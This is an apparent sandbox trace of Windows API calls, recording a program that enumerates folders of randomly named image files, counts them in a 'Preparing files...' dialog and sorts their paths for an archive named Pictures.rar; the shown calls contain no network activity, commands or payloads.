CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="qe4w BUBvbI.png", cchCount2=-1) returned 1 [0053.897] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x38) returned 0x26f0a0 [0053.897] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="TXT2nL.jpg", cchCount2=-1) returned 1 [0053.897] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2e) returned 0x26f0e0 [0053.897] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="y_NnvZ hOSogKdF.gif", cchCount2=-1) returned 1 [0053.897] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x40) returned 0x26fac0 [0053.897] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.897] GetLastError () returned 0x12 [0053.897] FindClose (in: hFindFile=0x201980 | out: hFindFile=0x201980) returned 1 [0053.897] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27b280 | out: hHeap=0x1b0000) returned 1 [0053.897] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="HoZdmtHokVR3Wl.jpg", cchCount2=-1) returned 3 [0053.897] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x26) returned 0x274d50 [0053.897] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Itucwf.jpg", cchCount2=-1) returned 3 [0053.897] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x16) returned 0x202b50 [0053.897] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1) returned 3 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x274d80 [0053.898] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="r8gP7fn6WcydRhKaYYc.png", cchCount2=-1) returned 1 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27b2b0 [0053.898] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP", cchCount2=-1) returned 1 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2a) returned 0x27b2f0 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x27c280 [0053.898] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201980 [0053.898] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="HNlFrbJUHSODl", cchCount2=-1) returned 3 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x46) returned 0x26fb10 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x27e2b0 [0053.898] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x2019e0 [0053.898] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="0XRpWOZ7BIgaFl", cchCount2=-1) returned 3 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x64) returned 0x272c40 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x2802e0 [0053.898] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201bc0 [0053.898] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="AcSwmq12.png", cchCount2=-1) returned 3 [0053.898] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x7e) returned 0x203360 [0053.898] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="FS9X-Jz92l3SkJz_uf.bmp", cchCount2=-1) returned 3 [0053.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x92) returned 0x1ef440 [0053.899] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="G StNxmi.gif", cchCount2=-1) returned 3 [0053.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x7e) returned 0x2033f0 [0053.899] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="o7iZDtChRQGlm.png", cchCount2=-1) returned 3 [0053.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x88) returned 0x203480 [0053.899] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.899] GetLastError () returned 0x12 [0053.899] FindClose (in: hFindFile=0x201bc0 | out: hFindFile=0x201bc0) returned 1 [0053.899] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2802e0 | out: hHeap=0x1b0000) returned 1 [0053.899] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="aEAx1CrFMianQavi.jpg", cchCount2=-1) returned 3 [0053.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x70) returned 0x26b760 [0053.899] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Ni-WplZKUKZ.gif", cchCount2=-1) returned 3 [0053.899] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.899] GetLastError () returned 0x12 [0053.899] SetLastError (dwErrCode=0x12) [0053.899] GetWindowTextW (in: hWnd=0x10244, lpString=0x164510, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.899] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0053.899] GetWindowTextW (in: hWnd=0x1024a, lpString=0x1630c0, nMaxCount=2560 | out: lpString="12 files found") returned 14 [0053.899] SetWindowTextW (hWnd=0x1024a, lpString="25 files found") returned 1 [0053.899] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0053.899] GetWindowTextW (in: hWnd=0x1024c, lpString=0x1630c0, nMaxCount=2560 | out: lpString="") returned 0 [0053.899] GetTickCount () returned 0xa644ef [0053.899] PeekMessageW (in: lpMsg=0x1648b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1648b0) returned 1 [0053.899] GetMessageW (in: lpMsg=0x164840, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x164840) returned 1 [0053.899] GetFocus () returned 0x10268 [0053.900] IsDialogMessageW (hDlg=0x10244, lpMsg=0x164840) returned 0 [0053.900] GetKeyState (nVirtKey=16) returned 0 [0053.900] TranslateAcceleratorW (hWnd=0x10244, hAccTable=0x102c3, lpMsg=0x164840) returned 0 [0053.900] TranslateMessage (lpMsg=0x164840) returned 0 [0053.900] DispatchMessageW (lpMsg=0x164840) returned 0x0 [0053.900] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.900] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x27a670, Size=0x1b00) returned 0x2802e0 [0053.900] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x66) returned 0x272cb0 [0053.900] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="UqtyoyIZxKksp3kD", cchCount2=-1) returned 1 [0053.900] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x68) returned 0x272d20 [0053.900] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x281df0 [0053.900] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201bc0 [0053.900] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.900] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="dn2lN2aa", cchCount2=-1) returned 3 [0053.900] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x7a) returned 0x203510 [0053.900] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x283e20 [0053.900] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201c20 [0053.900] FindNextFileW (in: hFindFile=0x201c20, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.900] FindNextFileW (in: hFindFile=0x201c20, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="pQzU4fgJS_VJhSEBB.bmp", cchCount2=-1) returned 1 [0053.900] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa6) returned 0x1ef4e0 [0053.900] FindNextFileW (in: hFindFile=0x201c20, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="PSQZiwIN8uJzzTdjOFX.jpg", cchCount2=-1) returned 1 [0053.900] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xaa) returned 0x1ef590 [0053.900] FindNextFileW (in: hFindFile=0x201c20, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.900] GetLastError () returned 0x12 [0053.900] FindClose (in: hFindFile=0x201c20 | out: hFindFile=0x201c20) returned 1 [0053.900] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x283e20 | out: hHeap=0x1b0000) returned 1 [0053.900] FindNextFileW (in: hFindFile=0x201bc0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.901] GetLastError () returned 0x12 [0053.901] FindClose (in: hFindFile=0x201bc0 | out: hFindFile=0x201bc0) returned 1 [0053.901] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x281df0 | out: hHeap=0x1b0000) returned 1 [0053.901] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.901] GetLastError () returned 0x12 [0053.901] FindClose (in: hFindFile=0x2019e0 | out: hFindFile=0x2019e0) returned 1 [0053.901] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27e2b0 | out: hHeap=0x1b0000) returned 1 [0053.901] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="u_fq38hVgFy.png", cchCount2=-1) returned 1 [0053.901] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4a) returned 0x2019e0 [0053.901] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="zTrGUpS5uq YgUIf.png", cchCount2=-1) returned 1 [0053.901] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x54) returned 0x201bc0 [0053.901] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.901] GetLastError () returned 0x12 [0053.901] FindClose (in: hFindFile=0x201980 | out: hFindFile=0x201980) returned 1 [0053.901] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c280 | out: hHeap=0x1b0000) returned 1 [0053.901] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="UrPVXySoY.jpg", cchCount2=-1) returned 1 [0053.901] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1c) returned 0x274db0 [0053.901] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="xuzEq3zwZkPG", cchCount2=-1) returned 1 [0053.901] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1a) returned 0x274de0 [0053.901] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x27c280 [0053.901] FindFirstFileW (in: lpFileName="xuzEq3zwZkPG\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201980 [0053.901] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.901] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="UhrjNpf0XOWEy -M.png", cchCount2=-1) returned 1 [0053.901] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x44) returned 0x26fb60 [0053.901] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.901] GetLastError () returned 0x12 [0053.901] FindClose (in: hFindFile=0x201980 | out: hFindFile=0x201980) returned 1 [0053.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c280 | out: hHeap=0x1b0000) returned 1 [0053.902] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.902] GetLastError () returned 0x12 [0053.902] FindClose (in: hFindFile=0x201920 | out: hFindFile=0x201920) returned 1 [0053.902] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x278640 | out: hHeap=0x1b0000) returned 1 [0053.902] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.902] GetLastError () returned 0x12 [0053.902] SetLastError (dwErrCode=0x12) [0053.902] GetWindowTextW (in: hWnd=0x10244, lpString=0x164550, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.902] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0053.902] GetWindowTextW (in: hWnd=0x1024a, lpString=0x163100, nMaxCount=2560 | out: lpString="25 files found") returned 14 [0053.902] SetWindowTextW (hWnd=0x1024a, lpString="32 files found") returned 1 [0053.902] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0053.902] GetWindowTextW (in: hWnd=0x1024c, lpString=0x163100, nMaxCount=2560 | out: lpString="") returned 0 [0053.902] GetTickCount () returned 0xa644ef [0053.902] PeekMessageW (in: lpMsg=0x1648f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1648f0) returned 0 [0053.902] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.902] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x60) returned 0x272d90 [0053.902] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77ae0000 [0053.902] GetProcAddress (hModule=0x77ae0000, lpProcName="CompareStringOrdinal") returned 0x77afd720 [0053.902] CompareStringOrdinal (lpString1="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount1=-1, lpString2="HoZdmtHokVR3Wl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.902] CompareStringOrdinal (lpString1="xuzEq3zwZkPG", cchCount1=-1, lpString2="UrPVXySoY.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.902] CompareStringOrdinal (lpString1="xuzEq3zwZkPG", cchCount1=-1, lpString2="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="FF-GXA22K-J\\TXT2nL.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\qe4w BUBvbI.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount1=-1, lpString2="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount1=-1, lpString2="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount1=-1, lpString2="FF-GXA22K-J", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP", cchCount1=-1, lpString2="r8gP7fn6WcydRhKaYYc.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP", cchCount1=-1, lpString2="atyP90aK6HDTB.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="Itucwf.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount1=-1, lpString2="xuzEq3zwZkPG", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount1=-1, lpString2="6so3uw\\F6rd1F-UBg20OJcO.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="6so3uw\\F6rd1F-UBg20OJcO.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="6so3uw\\c0kYrk2r.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount1=-1, lpString2="6so3uw\\c0kYrk2r.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\_J-TfTf8bux6i5ev.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\_J-TfTf8bux6i5ev.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount1=-1, 